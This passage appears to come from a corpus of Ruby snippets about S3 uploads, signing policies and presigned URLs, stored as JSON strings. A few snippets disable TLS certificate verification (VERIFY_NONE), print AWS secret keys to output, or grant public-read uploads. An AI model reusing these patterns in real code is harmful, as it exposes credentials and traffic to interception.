Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), YOUR_SECRET_KEY, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n\t end", "def upload_key(s3client,newkeyblob,filename,bucket)\r\n keyfile_name= filename+ \".key\"\r\n newkeyblob64 = Base64.encode64(newkeyblob)\r\n s3client.put_object({\r\n body: newkeyblob64,\r\n key: keyfile_name,\r\n bucket: bucket\r\n })\r\nend", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), CONFIG['secret_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def s3_upload_signature\n Base64.encode64(OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @current_shard.amazon_setting.secret_access_key,\n s3_upload_policy_document)\n ).gsub(/\\n|\\r/, \"\")\n end", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), SITE['s3_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV[\"AWS_SECRET_ACCESS_KEY\"],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end", "def upload_file(bucket, key, data)\n bucket.put(key, data)\nend", "def presign_upload\n render plain: hmac_data, status: :ok\n end", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), Figaro.env.aws_secret_access_key, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def normalize_multipart_upload(params)\n fname = params[:key].split('/').last\n if fname == '${filename}'\n # Can't change original name. Just rename key\n params[:key].sub!('${filename}', params[:file].original_filename)\n # Rebuild s3_uri with new key\n rebuild_uri(params)\n else\n # Change stored filename for more flexibility\n params[:file].original_filename = fname\n end\n end", "def presign(id, **options)\n url = storage.signed_url(@bucket, object_name(id), method: \"PUT\", **options)\n\n headers = {}\n headers[\"Content-Type\"] = options[:content_type] if options[:content_type]\n headers[\"Content-MD5\"] = options[:content_md5] if options[:content_md5]\n headers.merge!(options[:headers]) if options[:headers]\n\n { method: :put, url: url, headers: headers }\n end", "def temp_upload_url(object_key, temp_url_key, expires_at = Time.now.to_i + 60)\n private_url(\"PUT\", object_key, temp_url_key, expires_at)\n end", "def s3_upload_signature(s3_bucket)\r\n\t\tBase64.encode64(\r\n\t\t\t\tOpenSSL::HMAC.digest(\r\n\t\t\t\t\t\tOpenSSL::Digest::Digest.new('sha1'),\r\n\t\t\t\t\t\tS3_KEY,\r\n\t\t\t\t\t\ts3_upload_policy_document(s3_bucket)\r\n\t\t\t\t)\r\n\t\t).gsub(/\\n/, '')\r\n\tend", "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n instrument :url, key: key do |payload|\n verified_token_with_expiration = ActiveStorage.verifier.generate(\n {\n key: key,\n content_type: content_type,\n content_length: content_length,\n checksum: checksum\n },\n { expires_in: expires_in,\n purpose: :blob_token }\n )\n\n generated_url = url_helpers.update_rails_imgur_service_url(verified_token_with_expiration, host: current_host)\n\n payload[:url] = generated_url\n generated_url\n end\n end", "def upload(bucket, file); end", "def public_url(options = {})\n url = URI.parse(bucket.url(options))\n url.path += '/' unless url.path[-1] == '/'\n url.path += key.gsub(/[^\\/]+/) { |s| Seahorse::Util.uri_escape(s) }\n url.to_s\n end", "def s3_upload_policy_document\n Base64.encode64(\n {\n expiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\n conditions: [\n { bucket: ENV[\"S3_BUCKET\"] },\n { acl: 'public-read' },\n [\"starts-with\", \"$key\", \"uploads/\"],\n { success_action_status: '201' }\n ]\n }.to_json\n ).gsub(/\\n|\\r/, '')\n end", "def quick_s3_upload\n end", "def upload_signature\n @upload_signature ||=\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n options[:secret_access_key],\n self.policy_document\n )\n ).gsub(/\\n/, '')\n end", "def upload_file(file)\n key_name = @prefix.dup\n key_name << File.basename(file)\n @right_s3_interface.put(@bucket, key_name , File.read(file) ) \n end", "def put(params)\n bucket = params[:bucket]\n object = params[:object]\n value = params[:value]\n content_type = params[:content_type]\n cb = params[:cb]\n date = generate_date\n sign_string = generate_signed_string('PUT', 'private', bucket, object, content_type)\n signature = generate_signature(sign_string)\n auth = generate_auth(signature)\n headers = generate_put_headers(date, auth, 'private', content_type, value.size)\n path = \"/\" << object\n\n @req_options = {:method => :put, :head => headers, :path => path, :body => value}\n @cb = cb if cb\n @bucket = bucket\n try_request\n self\n end", "def store(data, headers = {})\n r = conn.put(escaped_path, data) do |req|\n req.headers = headers\n token = CarrierWave::UCloud::Digest.authorization(@uploader, req)\n req.headers['Authorization'] = token\n end\n r\n end", "def upload(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.write(:file => file_path)\n object.public_url\n end", "def generate_url(bucket, file)\n\n connect_to_s3()\n signer = Aws::S3::Presigner.new\n url = signer.presigned_url(:get_object, bucket: bucket, key: file)\n\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def upload_to_sandbox(sandbox_filename, sandbox_file_checksum, url)\n \n checksum64 = Base64.encode64([sandbox_file_checksum].pack(\"H*\")).strip\n timestamp = Time.now.utc.iso8601\n file_contents = File.read(sandbox_filename)\n # TODO - 5/28/2010, cw: make signing and sending the request streaming\n sign_obj = Mixlib::Authentication::SignedHeaderAuth.signing_object(\n :http_method => :put,\n :path => URI.parse(url).path,\n :body => file_contents,\n :timestamp => timestamp,\n :user_id => rest.client_name\n )\n headers = { \n 'content-type' => 'application/x-binary', \n 'content-md5' => checksum64, \n :accept => 'application/json'\n }\n headers.merge!(sign_obj.sign(OpenSSL::PKey::RSA.new(rest.signing_key)))\n\n # Don't set inflated_response as S3 (for the Platform) doesn't return JSON.\n # Only Open Source does.\n self.inflated_response = nil\n self.exception = nil\n self.api_response = RestClient::Request.execute(\n :method => :put, \n :url => url, \n :headers => headers, \n :payload => file_contents\n )\nend", "def put(domain, bucket, key, expires_in=0, headers={})\n return generate_url('PUT', domain, bucket, key, expires_in, headers)\n end", "def upload_part(url, data)\n conn = Faraday.new(url: url) do |faraday|\n faraday.adapter :net_http\n end\n resp = conn.put do |req|\n req.body = data\n # to prevent Faraday from adding garbage header\n req.headers['Content-Type'] = ''\n end\n resp.success?\n end", "def get_presigned_url(bucket, object_key)\n url = bucket.object(object_key).presigned_url(:put)\n puts \"Created presigned URL: #{url}\"\n URI(url)\nrescue Aws::Errors::ServiceError => e\n puts \"Couldn't create presigned URL for #{bucket.name}:#{object_key}. Here's why: #{e.message}\"\nend", "def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend", "def upload(file)\n # Upload the given file\n AWS::S3::S3Object.store( file,\n open( file ),\n BUCKET,\n :access => :public_read )\n\n # display the URL of the file just uploaded\n puts AWS::S3::S3Object.url_for((file), BUCKET)[/[^?]+/]\nend", "def generate_pre_signed_url(bucket_name, key, options={})\n headers = options['headers'].nil? ? {} : options['headers']\n params = options['params'].nil? ? {} : options['params']\n\n path = Utils.append_uri(\"/\", key)\n url, headers[HOST] = Utils.parse_url_host(@config)\n url.insert(url.index('/') + 2, bucket_name + '.')\n headers[HOST] = bucket_name + '.' + headers[HOST]\n params[AUTHORIZATION.downcase] = @signer.sign(@config.credentials,\n GET,\n path,\n headers,\n params,\n options['timestamp'],\n options['expiration_in_seconds'] || 1800,\n options['headers_to_sign'])\n url += Utils.url_encode_except_slash(path)\n query_str = Utils.get_canonical_querystring(params, false)\n url += \"?#{query_str}\" unless query_str.to_s.empty?\n url\n end", "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})\n raise NotImplementedError\n end", "def s3_upload_policy_document(s3_bucket)\r\n\r\n if s3_bucket == \"ted_kennedy_image\" || s3_bucket == \"production_images_1\" #for forms uploading images\r\n\r\n logger.info \"in image bucket, bucketis= \"+s3_bucket.to_s\r\n\r\n\t\t\tBase64.encode64(\r\n\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\texpiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\r\n\t\t\t\t\t\t\tconditions: [\r\n\t\t\t\t\t\t\t\t\t{ bucket: s3_bucket },\r\n\t\t\t\t\t\t\t\t\t{ acl: 'public-read' },\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$key\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$Content-Type\", \"image\"],\r\n\t\t\t\t\t\t\t\t\t[\"content-length-range\", 0, 1048576],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$x-amz-meta-my-file-name\", \"\"],\r\n\t\t\t\t\t\t\t\t\t{ success_action_status: '201' }\r\n\t\t\t\t\t\t\t]\r\n\t\t\t\t\t}.to_json\r\n\t\t\t).gsub(/\\n|\\r/, '')\r\n\r\n\t\telse #for forms loading attachments\r\n\t\t\tBase64.encode64(\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\texpiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\r\n\t\t\t\t\t\t\tconditions: [\r\n\t\t\t\t\t\t\t\t\t{ bucket: s3_bucket },\r\n\t\t\t\t\t\t\t\t\t{ acl: 'public-read' },\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$key\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$Content-Disposition\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"content-length-range\", 0, 104857600],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$x-amz-meta-my-file-name\", \"\"],\r\n [\"starts-with\", \"$Content-Type\", \"\"],\r\n\t\t\t\t\t\t\t\t\t{ success_action_status: '201' }\r\n\t\t\t\t\t\t\t]\r\n\t\t\t\t\t}.to_json\r\n\t\t\t).gsub(/\\n|\\r/, '')\r\n\r\n\t end\r\n\r\n\tend", "def update\n @event = @account.events.find(params[:id])\n file = params[:event][:photo_url]\n public_url = nil\n if file != nil\n s3 = Aws::S3::Resource.new(region: 'us-east-1')\n bucket = 'fifo-cloud'\n # Get just the file name\n name = file.original_filename\n # Create the object to upload\n obj = s3.bucket(bucket).object(name)\n # Create the option\n options = {\n acl: \"public-read\",\n metadata: {\n collection: \"events\",\n title: params[:event][:title],\n source: @event.id.to_s\n }\n }\n obj.upload_file(file.tempfile, options)\n public_url = s3.bucket(bucket).object(name).public_url\n end\n respond_to do |format|\n if @event.update_attributes!(event_params(public_url))\n\n if public_url != nil\n @upload = Upload.new(\n url: public_url,\n name: name,\n event_id: @event.id,\n collection: 'events',\n account_id: @account.id\n ).save!\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_put_request(url_prefix, data, raw_response = false)\n to_put = URI.escape(url_prefix)\n request = Net::HTTP::Put.new(to_put)\n request.body = data\n @logger.info \"PUT #{to_put}\"\n exec_request(request, raw_response, data)\n end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [ \n {\"bucket\" => SITE['s3_bucket']}, \n [\"starts-with\", \"$key\", @photo.s3_key],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def upload_url\n _get(\"/files/upload_url\") { |json| json }\n end", "def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end", "def generate_url(folder, file)\n\n bucket = \"prototype-jv\"\n s3_file_path = \"#{folder}/#{file}\"\n\n connect_to_s3()\n signer = Aws::S3::Presigner.new\n url = signer.presigned_url(:get_object, bucket: bucket, key: s3_file_path)\n\nend", "def presigned_link_uri(object, version, file)\n url_for controller: :file,\n action: :presign,\n object: object,\n version: version,\n file: file\n end", "def save(file_path, bucket_name, key=SecureRandom.uuid)\n uri = \"urn:openhbx:terms:v1:file_storage:s3:bucket:<#{bucket_name}>##{key}\"\n begin\n object = get_object(bucket_name, key)\n if object.upload_file(file_path)\n uri\n else\n nil\n end\n rescue Exception => e\n nil\n end\n end", "def s3_upload_policy_document\n\t return @policy if @policy\n\t ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n\t \"conditions\" => [ \n\t {\"bucket\" => YOUR_BUCKET_NAME}, \n\t [\"starts-with\", \"$key\", @document.s3_key],\n\t {\"acl\" => \"private\"},\n\t {\"success_action_status\" => \"200\"},\n\t [\"content-length-range\", 0, 1048576]\n\t ]\n\t }\n\t @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n\t end", "def file_upload(file)\n file[\"//\"] = \"/\"\n file = ENV['RED5_HOME'] + \"/webapps/encrev1/#{file}\"\n request_url = \"#{@url}/file/demo\"\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Request filename : #{request_url}\"\n response = RestClient.put request_url, \"\"\n $log.info \"--> Got reponse : #{response}\"\n file_name = JSON.parse(response.to_str)['result']\n if file_name\n $log.info \"--> Got filename : #{file_name}\"\n request_url = \"#{@url}/file/demo/\"\n request_url += file_name\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Upload (#{file}) to Encre : #{request_url}\"\n response = RestClient.put request_url, File.read(file), :content_type => 'application/x-shockwave-flash'\n $log.info \"Delete #{file} ...\"\n file = File.delete(file)\n else\n file_name = nil\n end\n rescue\n file_name = nil\n $log.info \"... failed ! (check exception below)\"\n $log.info $!\n end", "def direct_s3_presigned_url\n Stash::Aws::S3.presigned_download_url(s3_key: \"#{resource.s3_dir_name(type: 'supplemental')}/#{upload_file_name}\")\n end", "def formated_api\n {\n url: self.attachment.url,\n md5: self.md5,\n }\n end", "def signature(params)\n string_to_sign =\n<<-DATA\n#{params[:method].to_s.upcase}\n#{params[:headers]['Canonical-URI']}\n#{params[:headers]['Canonical-QueryString']}\n#{params[:headers]['Canonical-Headers']}\n#{params[:headers]['Signed-Headers']}\n#{params[:headers]['Hex-Encode-Hash-Payload']}\nDATA\n\n amz_headers, canonical_amz_headers = {}, ''\n for key, value in params[:headers]\n if key[0..5] == 'x-amz-'\n amz_headers[key] = value\n end\n end\n amz_headers = amz_headers.sort {|x, y| x[0] <=> y[0]}\n for key, value in amz_headers\n canonical_amz_headers << \"#{key}:#{value}\\n\"\n end\n string_to_sign << canonical_amz_headers\n\n subdomain = params[:host].split(\".#{@host}\").first\n unless subdomain =~ /^(?:[a-z]|\\d(?!\\d{0,2}(?:\\.\\d{1,3}){3}$))(?:[a-z0-9]|\\.(?![\\.\\-])|\\-(?![\\.])){1,61}[a-z0-9]$/\n # TODO: err..... not sure if this is needed\n Fog::Logger.warning(\"fog: the specified glacier vault name(#{subdomain}) is not a valid dns name, which will negatively impact performance. For details see: http://docs.amazonwebservices.com/AmazonS3/latest/dev/BucketRestrictions.html\")\n params[:host] = params[:host].split(\"#{subdomain}.\")[-1]\n if params[:path]\n params[:path] = \"#{subdomain}/#{params[:path]}\"\n else\n params[:path] = subdomain\n end\n subdomain = nil\n end\n\n canonical_resource = @path.dup\n unless subdomain.nil? || subdomain == @host\n canonical_resource << \"#{Fog::AWS.escape(subdomain).downcase}/\"\n end\n canonical_resource << params[:path].to_s\n canonical_resource << '?'\n# TODO: all these keys need to change to reflect glacier\n for key in (params[:query] || {}).keys.sort\n if %w{\n acl\n lifecycle\n location\n logging\n notification\n partNumber\n policy\n requestPayment\n response-cache-control\n response-content-disposition\n response-content-encoding\n response-content-language\n response-content-type\n response-expires\n torrent\n uploadId\n uploads\n versionId\n versioning\n versions\n website\n }.include?(key)\n canonical_resource << \"#{key}#{\"=#{params[:query][key]}\" unless params[:query][key].nil?}&\"\n end\n end\n canonical_resource.chop!\n string_to_sign << canonical_resource\n\n signed_string = @hmac.sign(string_to_sign)\n Base64.encode64(signed_string).chomp!\n end", "def upload_params\n params.require(:upload).permit(:filename, :key)\n end", "def upload\n secure_silence_logs do\n return bad_request unless params[:file] && params[:title] && current_account\n is_file = params[:file].respond_to?(:path)\n if !is_file && !(URI.parse(params[:file]) rescue nil)\n return bad_request(:error => \"The 'file' parameter must be the contents of a file or a URL.\")\n end\n \n if params[:file_hash] && Document.accessible(current_account, current_organization).exists?(:file_hash=>params[:file_hash])\n return conflict(:error => \"This file is a duplicate of an existing one you have access to.\")\n end\n params[:url] = params[:file] unless is_file\n @response = Document.upload(params, current_account, current_organization).canonical\n render_cross_origin_json\n end\n end", "def update_signature!; end", "def update_signature!; end", "def save(file_path, bucket_name, key=SecureRandom.uuid)\n bucket_name = env_bucket_name(bucket_name)\n uri = \"urn:openhbx:terms:v1:file_storage:s3:bucket:#{bucket_name}##{key}\"\n begin\n object = get_object(bucket_name, key)\n if object.upload_file(file_path, :server_side_encryption => 'AES256')\n uri\n else\n nil\n end\n rescue Exception => e\n nil\n end\n end", "def uploadS3(name, file, prefz)\n return [false, \"S3 misconfigured\"] if prefz[:user].empty? && prefz[:host].empty? && prefz[:path].empty? && prefz[:url].empty? && prefz[:pass].empty?\n s3 = AFAmazonS3Client.alloc.initWithAccessKeyID(prefz[:user].strip, secret: prefz[:pass].strip)\n puts \"#{prefz[:user].strip.inspect} #{prefz[:pass].strip.inspect}\"\n bucket, path = prefz[:path].gsub(/^\\//, '').split('/', 2)\n s3.bucket = bucket\n NSLog(\"S3 bucket #{bucket}\")\n url = path.nil? ? \"https://#{prefz[:host]}/#{bucket}/\" : \"https://#{prefz[:host]}/#{bucket}/#{path}/#{name}\"\n NSLog(\"S3 destinationPath #{url}\")\n params = { \"Content-Type\" => \"image/png\", \"acl\" => \"public-read\" }\n s3.postObjectWithFile(file, destinationPath: \"/\", parameters: params,\n progress: lambda do |bytesWritten, totalBytesWritten, totalBytesExpectedToWrite|\n stats = (totalBytesWritten / (totalBytesExpectedToWrite * 1.0) * 100)\n NSLog(\"S3: #{file} uploaded #{stats}\")\n end,\n success: lambda do |response|\n NSLog(\"S3: #{file} uploaded successfully.\")\n uploadSuccess(url + \"/#{name}\")\n end,\n failure: lambda do |error|\n NSLog(\"S3: #{file} upload error: #{error.localizedDescription}\")\n uploadFailure(\"S3 Error: #{error.localizedDescription}\")\n end\n )\n nil\n end", "def get_presigned_post_url_for(content_type, s3_path, bucket, options = {})\n post_policy = {\n key: s3_path,\n content_type: content_type,\n signature_expiration: Time.now + 900,\n server_side_encryption: 'aws:kms',\n server_side_encryption_aws_kms_key_id: key_id,\n content_length_range: min_file_size..max_file_size # allow max 20 MB and min 200 kb\n }\n\n post = Aws::S3::PresignedPost.new(\n credentials_obj,\n region,\n bucket,\n post_policy\n )\n end", "def put_object_from_string(bucket_name, key, data, options={})\n data_md5 = Digest::MD5.base64digest(data)\n put_object(bucket_name, key, data, data_md5, data.length, options)\n end", "def signed_entry_url(data: {}, exp: 1.minute.from_now.to_i)\n token = JWT.encode({ data: data, exp: exp }, secret, \"HS256\")\n \"#{entry_url}?token=#{token}\"\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def put(bucket, key, object=nil, headers={})\n object = S3Object.new(object) if not object.instance_of? S3Object\n return generate_url('PUT', bucket, CGI::escape(key), {}, merge_meta(headers, object))\n end", "def s3_upload( file_name, destination_name )\n #log(\"Uploading #{file_name} to S3 as #{destination_name} ...\")\n #load keys\n json = File.read(S3KEYS)\n ak = JSON.parse(json)\n aws_access_key_id = ak['aws_access_key_id'] \n aws_secret_access_key = ak['aws_secret_access_key']\n\n #establish S3 connection \n s3 = RightAws::S3.new(aws_access_key_id, aws_secret_access_key, {:logger =>Logger.new( File.open( LOG_FILE, 'a' ) )})\n bucket = s3.bucket(IOS_BUILDS_BUCKET)\n #upload file \n file = File.open( file_name )\n bucket.put( destination_name, file ) \nend", "def upload_json(hash, file_name, opts={})\n return false unless valid?\n pub = !!opts[:public]\n object(file_name).put(body: hash.to_json)\n make_public(file_name) if pub\n end", "def store_file(*args)\n data, content_type, filename = args.reverse\n if filename\n http.put(204, luwak, escape(filename), data, {\"Content-Type\" => content_type})\n filename\n else\n response = http.post(201, luwak, data, {\"Content-Type\" => content_type})\n response[:headers][\"location\"].first.split(\"/\").last\n end\n end", "def html_post_form\n expiration = (Time.now + 360).utc.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n policy_document = %{\n{\"expiration\": \"#{expiration}\",\n \"conditions\": [\n {\"bucket\": \"#{@cloud.bucket}\"},\n [\"starts-with\", \"$key\", \"TE\"],\n {\"success_action_redirect\": \"http://www.google.fr/\"},\n [\"content-length-range\", 0, 1048576]\n ]\n}\n }\n @policy = Base64.encode64(policy_document).gsub(\"\\n\",\"\")\n @signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @cloud.shared_secret, @policy)\n ).gsub(\"\\n\",\"\")\n end", "def upload_url\n return unless @data['image']\n # Isn't actually displayed in-app without this set\n return unless image['property'] == 'image'\n file(@data['image'])\n end", "def store_on_s3(options)\n # Deleting :url from options because we don't want it in the options that we pass to s3\n # and removing some characters that aren't allowed in urls\n url = options.delete(:url).gsub(/ /, '%20').gsub(/\\^/, '%5E')\n file = open(url)\n \n key = options.delete(:key)\n\n AWS::S3::S3Object.store(key, file, @bucket, options)\n\n # Return location on s3\n \"http://s3.amazonaws.com/\" + @bucket + \"/\" + key\n end", "def file_url(uid, info = {}, content_type: nil, content_disposition: nil, **options)\n options[:response_content_type] ||= content_type\n options[:response_content_disposition] ||= content_disposition\n\n object(uid).presigned_url(:get, **options)\n end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 60.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => Figaro.env.s3_bucket_name},\n [\"starts-with\", \"$key\", ''],\n {\"acl\" => \"public-read\"},\n {\"success_action_status\" => \"201\"},\n [\"starts-with\", \"$utf8\", ''],\n [\"starts-with\", \"$authenticity_token\", ''],\n [\"content-length-range\", 0, Figaro.env.s3_max_file_size.to_i]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def s3_updatefile(filename, filedata)\n s3_deletefile filename\n #AWS::S3::S3Object.store filename, filedata, QBUCKET.to_s, :access => :public_read\n AWS::S3::S3Object.store filename, filedata, IMAGES_BUCKET.to_s, :access => :public_read\n end", "def put_bucket_cors(bucket_name, cors)\n data = Fog::AWS::Storage.hash_to_cors(cors)\n\n headers = {}\n headers['Content-MD5'] = Base64.encode64(OpenSSL::Digest::MD5.digest(data)).strip\n headers['Content-Type'] = 'application/json'\n headers['Date'] = Fog::Time.now.to_date_header\n\n request({\n :body => data,\n :expects => 200,\n :headers => headers,\n :bucket_name => bucket_name,\n :method => 'PUT',\n :query => {'cors' => nil}\n })\n end", "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end", "def put_file(url, filename, headers = {})\n request(:put, url, headers, :file => filename)\n end", "def put_file(url, filename, headers = {})\n request(:put, url, headers, :file => filename)\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:file, :hosted_file_url)\n end", "def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:); end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => CONFIG['bucket_name']},\n [\"starts-with\", \"$key\", @image.s3_key],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def upload_file(folder_id, file_url) \n\tputs \"Uploading file: \" + file_url + \" to folder: \" + folder_id\n\tfile = {\n\t\t:url => file_url, \n\t\t:name => \"Ruby_File.pdf\", \n\t\t:notes => \"This was uploaded using Ruby\", \n\t\t:copies => 1, \n\t\t:folderId => folder_id,\n\t\t# :flow => \"Flow ezName\" # The flow value is either the easy submit name of the flow or the _id property from get_flows()\n\t}\n\tdata = JSON.generate(file)\n\tresponse = request_post('/api/partner/file', data)\n\tputs response.body\nend", "def local_file_params\n params.require(:local_file).permit(:file, :file_fingerprint, :url)\n end", "def url\n if @attributes[:filename] =~ /^http:\\/\\//\n @attributes[:filename]\n elsif $cloudfront && $cloudfront[s3_bucket]\n \"#{$cloudfront[s3_bucket]}/#{s3_key}\"\n else\n \"http://#{s3_bucket}.s3.amazonaws.com/#{s3_key}\"\n end\n end", "def store!\n # Upload the file\n prefix = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\"\n fname = prefix+(@file.respond_to?(:original_filename) ? @file.original_filename : File.basename(@file))\n o = s3_bucket.objects[\"#{asset_path}#{fname}\"]\n o.write(Pathname.new(@file.path), {\n acl: :public_read,\n content_type: MIME::Types.type_for(@file.path).first.to_s\n })\n\n # Set the public_url attribute\n remote_url = o.public_url.to_s\n self.set(public_url: remote_url)\n self.this.update(public_url: remote_url)\n end", "def put(splat)\n bad_request if splat.empty?\n _put resolve_uri(splat[0]), request.body.read\n end", "def upload\n self._create params[:upfile], params[:pictitle]\n end", "def request_put(file, content_type)\n\turi = URI($amazon_upload_url)\n\n\trequest = Net::HTTP::Put.new(uri)\n\trequest.body_stream = File.open(file)\n\trequest.add_field(\"Content-Type\", content_type)\n\trequest.add_field('Content-Length', File.size(file))\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend", "def aws_post_url\n \"#{AWS_S3_ACCESS_URL}/#{self.class.media_bucket}\"\n end", "def path_to_url(path)\n URI.encode(path =~ %r{^https?://} ? path : \"http://#{aliyun_upload_host}/#{path}\")\n end", "def upload_file(f)\n # grabs the compiled asset from public_path\n full_file_path = File.join(File.dirname(@manifest.dir), f)\n one_year = 31557600\n mime = Rack::Mime.mime_type(File.extname(f)) \n file = {\n :key => f,\n :public => true,\n :content_type => mime,\n :cache_control => \"public, max-age=#{one_year}\",\n :expires => CGI.rfc1123_date(Time.now + one_year) \n }\n\n gzipped = \"#{full_file_path}.gz\" \n\n if File.exists?(gzipped)\n original_size = File.size(full_file_path)\n gzipped_size = File.size(gzipped)\n\n if gzipped_size < original_size\n file.merge!({\n :body => File.open(gzipped),\n :content_encoding => 'gzip'\n })\n log \"Uploading #{gzipped} in place of #{f}\"\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Gzip exists but has larger file size, uploading #{f}\"\n end\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Uploading #{f}\"\n end\n # put in reduced redundancy option here later if desired\n\n file = bucket.files.create( file )\n end", "def store(key, data, bucket = nil, options = {})\n validate_key!(key)\n # Must build path before infering content type in case bucket is being used for options\n path = path!(bucket, key, options)\n infer_content_type!(key, options)\n \n put(path, options, data) # Don't call .success? on response. We want to get the etag.\n end", "def compose_url(url)\n abort \"Invalid URL: #{url}\" unless validate_url(url)\n\n query = {}\n query['map'] = 'true' if options['map']\n query['api_key'] = options['key'] if options['key']\n query['compression'] = options['compress'] if options['compress']\n\n uri = URI(url)\n uri.path = '/files'\n uri.query = URI.encode_www_form(query)\n uri.to_s\n end", "def presigned_url(key, time: nil, expires_in: DEFAULT_EXPIRES_IN,\n response_cache_control: nil,\n response_content_disposition: nil,\n response_content_encoding: nil,\n response_content_language: nil,\n response_content_type: nil,\n response_expires: nil,\n version_id: nil)\n validate_expires_in(expires_in)\n\n canonical_uri = \"/\" + uri_escape_key(key)\n\n now = time ? time.dup.utc : Time.now.utc # Uh Time#utc is mutating, not nice to do to an argument!\n amz_date = now.strftime(\"%Y%m%dT%H%M%SZ\")\n datestamp = now.strftime(\"%Y%m%d\")\n\n credential_scope = datestamp + '/' + region + '/' + SERVICE + '/' + 'aws4_request'\n\n canonical_query_string_parts = [\n \"X-Amz-Algorithm=#{ALGORITHM}\",\n \"X-Amz-Credential=\" + uri_escape(@access_key_id + \"/\" + credential_scope),\n \"X-Amz-Date=\" + amz_date,\n \"X-Amz-Expires=\" + expires_in.to_s,\n \"X-Amz-SignedHeaders=\" + SIGNED_HEADERS,\n ]\n\n extra_params = {\n :\"response-cache-control\" => response_cache_control,\n :\"response-content-disposition\" => response_content_disposition,\n :\"response-content-encoding\" => response_content_encoding,\n :\"response-content-language\" => response_content_language,\n :\"response-content-type\" => response_content_type,\n :\"response-expires\" => convert_for_timestamp_shape(response_expires),\n :\"versionId\" => version_id\n }.compact\n\n\n if extra_params.size > 0\n # These have to be sorted, but sort is case-sensitive, and we have a 